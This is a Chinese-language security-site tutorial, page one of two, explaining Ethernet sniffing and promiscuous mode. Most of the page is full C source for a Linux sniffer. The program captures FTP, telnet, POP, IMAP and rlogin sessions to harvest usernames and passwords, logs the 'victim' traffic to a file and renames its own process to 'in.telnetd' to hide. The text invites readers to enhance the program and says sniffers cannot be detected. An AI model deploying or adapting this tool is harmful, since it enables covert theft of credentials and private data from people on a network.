计算机网络安全资讯站点
文字横幅以及760*60黄金广告位置招租,欢迎恰谈! 广告业务联系QQ:8019399 声明:在本站所投放广告内容均与本站立场无关!

您现在的位置: 中国安全在线 >> 攻防技术 >> 菜鸟学习 >> 文章正文 用户登录 新用户注册
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
UNIX 操作系统安全检查列表
金融领域UNIX网络系统的安全管理策
Win 2003中配置SNMP服务的网络安全
Unix的入侵追踪
Unix网络的两个安全问题
使用SNMP服务后的安全防范技术讲解
关于国内UNIX主机常见安全漏洞的描
抵御网页攻击 快速解决iFrame漏洞问
sniffer技术资料
sniffer攻击实例
Sniffer黑客教程
作者:佚名 来源:安全在线 更新时间:2005-3-19 【字体:
<%=(int(rnd()*1)+1)%>您当前的位置:中国安全在线cnsafer.com 请进入[技术论坛]发表评论

阅读提示:     Sniffer是一种常用的收集有用数据方法,这些数据可以是用户的帐号和密码,可以是一些商用机密数据等等。为了对sniffer的工作原理有一个深入的了解,第二节给出了一个sniffer的源程序,并对它进行讲解。最后的第三节是探测和防范sniffer的介绍。
  第一节 Sniffer简介
  什么是以太网sniffing?
    以太网sniffing 是指对以太网设备上传送的数据包进行侦听,发现感兴趣的包。如果发现符合条件的包,就把它存到一个log文件中去。通常设置的这些条件是包含字"username"或"password"的包。
  它的目的是将网络层放到promiscuous模式,从而能干些事情。Promiscuous模式是指网络上的所有设备都对总线上传送的数据进行侦听,并不仅仅是它们自己的数据。根据第二章中有关对以太网的工作原理的基本介绍,可以知道:一个设备要向某一目标发送数据时,它是对以太网进行广播的。一个连到以太网总线上的设备在任何时间里都在接受数据。不过只是将属于自己的数据传给该计算机上的应用程序。
  利用这一点,可以将一台计算机的网络连接设置为接受所有以太网总线上的数据,从而实现sniffer。
  sniffer通常运行在路由器,或有路由器功能的主机上。这样就能对大量的数据进行监控。sniffer属第二层次的攻击。通常是攻击者已经进入了目标系统,然后使用sniffer这种攻击手段,以便得到更多的信息。
  sniffer除了能得到口令或用户名外,还能得到更多的其他信息,比如一个其他重要的信息,在网上传送的金融信息等等。sniffer几乎能得到任何以太网上的传送的数据包。
    有许多运行与不同平台上的sniffer程序。
  Linux tcpdump
  DOS ETHLOAD、The Gobbler、LanPatrol、LanWatch 、Netmon、Netwatch、      Netzhack
  上面的这些程序,可以从互连网上找到。
  使用sniffer程序或编写一个功能强大的sniffer程序需要一些网络方面的知识。因为如果没有恰当的设置这个程序,根本就不能从大量的数据中找出需要的信息。
  通常sniffer程序只看一个数据包的前200-300个字节的数据,就能发现想口令和用户名这样的信息。
  第二节 一个sniffer源程序
  下面是一个Linux以太网sniffer的源程序。可以根据需要加强这个程序。
  /* Linux sniffer.c 本程序已经在Red Hat 5.2上调试通过*/
  #include < string.h>
  #include < ctype.h>
  #include < stdio.h>
  
  #include < netdb.h>
  
  #include < sys/file.h>
  #include < sys/time.h>
  #include < sys/socket.h>
  #include < sys/ioctl.h>
  #include < sys/signal.h>
  
  #include < net/if.h>
  
  #include < arpa/inet.h>
  
  #include < netinet/in.h>
  #include < netinet/ip.h>
  #include < netinet/tcp.h>
  #include < netinet/if_ether.h>
  
  int openintf(char *);
  int read_tcp(int);
  int filter(void);
  int print_header(void);
  int print_data(int, char *);
  char *hostlookup(unsigned long int);
  void clear_victim(void);
  void cleanup(int);
  
  
  struct etherpacket
  {
  struct ethhdr eth;
  struct iphdr ip;
  struct tcphdr tcp;
  char buff[8192];
  }ep;
  
  struct
  {
  unsigned long saddr;
  unsigned long daddr;
  unsigned short sport;
  unsigned short dport;
  int bytes_read;
  char active;
  time_t start_time;
  } victim;
  
  struct iphdr *ip;
  struct tcphdr *tcp;
  int s;
  FILE *fp;
  
  #define CAPTLEN 512
  #define TIMEOUT 30
  #define TCPLOG "tcp.log"
  
  int openintf(char *d)
  {
  int fd;
  struct ifreq ifr;
  int s;
  fd=socket(AF_INET, SOCK_PACKET, htons(0x800));
  if(fd < 0)
  {
  perror("cant get SOCK_PACKET socket");
  exit(0);
  }
  strcpy(ifr.ifr_name, d);
  s=ioctl(fd, SIOCGIFFLAGS, &ifr);
  if(s < 0)
  {
  close(fd);
  perror("cant get flags");
  exit(0);
  }
  ifr.ifr_flags |= IFF_PROMISC;
  s=ioctl(fd, SIOCSIFFLAGS, &ifr);
  if(s < 0) perror("can not set promiscuous mode");
  return fd;
  }
  
  int read_tcp(int s)
  {
  int x;
  while(1)
  {
  x=read(s, (struct etherpacket *)&ep, sizeof(ep));
  if(x > 1)
  {
  if(filter()==0) continue;
  x=x-54;
  if(x < 1) continue;
  return x;
  }
  }
  }
  
  int filter(void)
  {
  int p;
  p=0;
  if(ip->protocol != 6) return 0;
  if(victim.active != 0)
  if(victim.bytes_read > CAPTLEN)
  {
  fprintf(fp, "\n----- [CAPLEN Exceeded]\n");
  clear_victim();
  return 0;
  }
  if(victim.active != 0)
  if(time(NULL) > (victim.start_time + TIMEOUT))
  {
  fprintf(fp, "\n----- [Timed Out]\n");
  clear_victim();
  return 0;
  }
  if(ntohs(tcp->dest)==21) p=1; /* ftp */
  if(ntohs(tcp->dest)==23) p=1; /* telnet */
  if(ntohs(tcp->dest)==110) p=1; /* pop3 */
  if(ntohs(tcp->dest)==109) p=1; /* pop2 */
  if(ntohs(tcp->dest)==143) p=1; /* imap2 */
  if(ntohs(tcp->dest)==513) p=1; /* rlogin */
  if(ntohs(tcp->dest)==106) p=1; /* poppasswd */
  if(victim.active == 0)
  if(p == 1)
  if(tcp->syn == 1)
  {
  victim.saddr=ip->saddr;
  victim.daddr=ip->daddr;
  victim.active=1;
  victim.sport=tcp->source;
  victim.dport=tcp->dest;
  victim.bytes_read=0;
  victim.start_time=time(NULL);
  print_header();
  }
  if(tcp->dest != victim.dport) return 0;
  if(tcp->source != victim.sport) return 0;
  if(ip->saddr != victim.saddr) return 0;
  if(ip->daddr != victim.daddr) return 0;
  if(tcp->rst == 1)
  {
  victim.active=0;
  alarm(0);
  fprintf(fp, "\n----- [RST]\n");
  clear_victim();
  return 0;
  }
  if(tcp->fin == 1)
  {
  victim.active=0;
  alarm(0);
  fprintf(fp, "\n----- [FIN]\n");
  clear_victim();
  return 0;
  }
  return 1;
  }
  
  int print_header(void)
  {
  fprintf(fp, "\n");
  fprintf(fp, "%s => ", hostlookup(ip->saddr));
  fprintf(fp, "%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));
  }
  
  int print_data(int datalen, char *data)
  {
  int i=0;
  int t=0;
  
  victim.bytes_read=victim.bytes_read+datalen;
  for(i=0;i != datalen;i++)
  {
  if(data[i] == 13) { fprintf(fp, "\n"); t=0; }
  if(isprint(data[i])) {fprintf(fp, "%c", data[i]);t++;}
  if(t > 75) {t=0;fprintf(fp, "\n");}
  }
  }
  
  main(int argc, char **argv)
  {
  sprintf(argv[0],"%s","in.telnetd");
  s=openintf("eth0");
  ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
  tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  signal(SIGHUP, SIG_IGN);
  signal(SIGINT, cleanup);
  signal(SIGTERM, cleanup);
  signal(SIGKILL, cleanup);
  signal(SIGQUIT, cleanup);
  if(argc == 2) fp=stdout;
  else fp=fopen(TCPLOG, "at");
  if(fp == NULL) { fprintf(stderr, "cant open log\n");exit(0);}
  clear_victim();
  for(;;)
  {
  read_tcp(s);
  if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);
  fflush(fp);
  }
  }
  
  char *hostlookup(unsigned long int in)
  {
  static char blah[1024];
  struct in_addr i;
  struct hostent * he;
  
  i.s_addr=in;
  he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);
  if(he == NULL)
  strcpy(blah, inet_ntoa(i));
  else
  strcpy(blah,he->h_name);
  
  return blah;
  }
  
  void clear_victim(void)
  {
  victim.saddr=0;
  victim.daddr=0;
  victim.sport=0;
  victim.dport=0;
  victim.active=0;
  victim.bytes_read=0;
  victim.start_time=0;
  }
  
  void cleanup(int sig)
  {
  fprintf(fp, "Exiting...\n");
  close(s);
  fclose(fp);
  exit(0);
  }
  
  下面对上面的程序作一个介绍。结构etherpacket定义了一个数据包。其中的ethhdr,iphdr,和tcphdr分别是三个结构,用来定义以太网帧,IP数据包头和TCP数据包头的格式。
  它们在头文件中的定义如下:
  struct ethhdr
  {
  unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
  unsigned char h_source[ETH_ALEN]; /* source ether addr */
  unsigned short h_proto; /* packet type ID field */
  };
  
  struct iphdr
  {
  #if __BYTE_ORDER == __LITTLE_ENDIAN
  u_int8_t ihl:4;
  u_int8_t version:4;
  #elif __BYTE_ORDER == __BIG_ENDIAN
  u_int8_t version:4;
  u_int8_t ihl:4;
  #else
  #error "Please fix < bytesex.h>"
  #endif
  u_int8_t tos;
  u_int16_t tot_len;
  u_int16_t id;
  u_int16_t frag_off;
  u_int8_t ttl;
  u_int8_t protocol;
  u_int16_t check;
  u_int32_t saddr;
  u_int32_t daddr;
  /*The options start here. */
  };
  
  struct tcphdr
  {
  u_int16_t source;
  u_int16_t dest;
  u_int32_t seq;
  u_int32_t ack_seq;
  #if __BYTE_ORDER == __LITTLE_ENDIAN
  u_int16_t res1:4;
  u_int16_t doff:4;
  u_int16_t fin:1;
  u_int16_t syn:1;
  u_int16_t rst:1;
  u_int16_t psh:1;
  u_int16_t ack:1;
  u_int16_t urg:1;
  u_int16_t res2:2;
  #elif __BYTE_ORDER == __BIG_ENDIAN
  u_int16_t doff:4;
  u_int16_t res1:4;
  u_int16_t res2:2;
  u_int16_t urg:1;
  u_int16_t ack:1;
  u_int16_t psh:1;
  u_int16_t rst:1;
  u_int16_t syn:1;
  u_int16_t fin:1;
  #else
  #error "Adjust your < bits/endian.h> defines"
  #endif
  u_int16_t window;
  u_int16_t check;
  u_int16_t urg_ptr;
  };
  上述结构的具体含义可参见《TCP/IP协议简介》一章中的相关内容。接下来,定义了一个结构变量victim。
  随后,看一下函数int openintf(char *d),它的作用是打开一个网络接口。在main中是将eth0作为参数来调用这个函数。在这个函数中,用到了下面的结构:
  struct ifreq
  {
  #define IFHWADDRLEN 6
  #define IFNAMSIZ 16
  union
  {
  char ifrn_name[IFNAMSIZ]; /* Interface name, e.g. "en0". */
  } ifr_ifrn;
  
  union
  {
  struct sockaddr ifru_addr;
  struct sockaddr ifru_dstaddr;
  struct sockaddr ifru_broadaddr;
  struct sockaddr ifru_netmask;
  struct sockaddr ifru_hwaddr;
  short int ifru_flags;
  int ifru_ivalue;
  int ifru_mtu;
  struct ifmap ifru_map;
  char ifru_slave[IFNAMSIZ]; /* Just fits the size */
  __caddr_t ifru_data;
  } ifr_ifru;
  };
  这个结构叫接口请求结构,用来调用在I/O输入输出时使用。所有的接口I/O输出必须有一个参数,这个参数以ifr_name开头,后面的参数根据使用不同的网络接口而不同。
    如果你要看看你的计算机有哪些网络接口,使用命令ifconfig即可。一般你会看到两个接口lo0和eth0。在ifreq结构中的各个域的含义与ifconfig的输出是一一对应的。在这里,程序将eth0作为ifr_name来使用的。接着,该函数将这个网络接口设置成promiscuous模式。请记住,sniffer是工作在这种模式下的。
  再看一下函数read_tcp,它的作用是读取TCP数据包,传给filter处理。Filter函数是对上述读取的数据包进行处理。
  接下来的程序是将数据输出到文件中去。
  函数clearup是在程序退出等事件时,在文件中作个记录,并关闭文件。否则,你刚才做的记录都没了。
  第三节 怎样在一个网络上发现一个sniffer
    简单的一个回答是你发现不了。因为他们根本就没有留下任何痕迹。
    只有一个办法是看看计算机上当前正在运行的所有程序。但这通常并不可靠,但你可以控制哪个程序可以在你的计算机上运行。
    

[1] [2] 下一页

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力

文章录入:ls1238    责任编辑:ls1238 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系方式 | 友 情链接 | 关于我们 | 网站留言 |
    Copyright ?2003-2007 www.cnsafer.com All Rights Reserved.
    如有意见请与我们联系 Email:admin#mail.cnsafer.com 联系QQ:8589101
    友情提示:建议使用IE6.0版本, 分辩率1024*768进行浏览
    中国安全在线 敢想 敢做 挑战自我 努力做最好
    中网科技有限公司 技术支持 鄂ICP备05006475号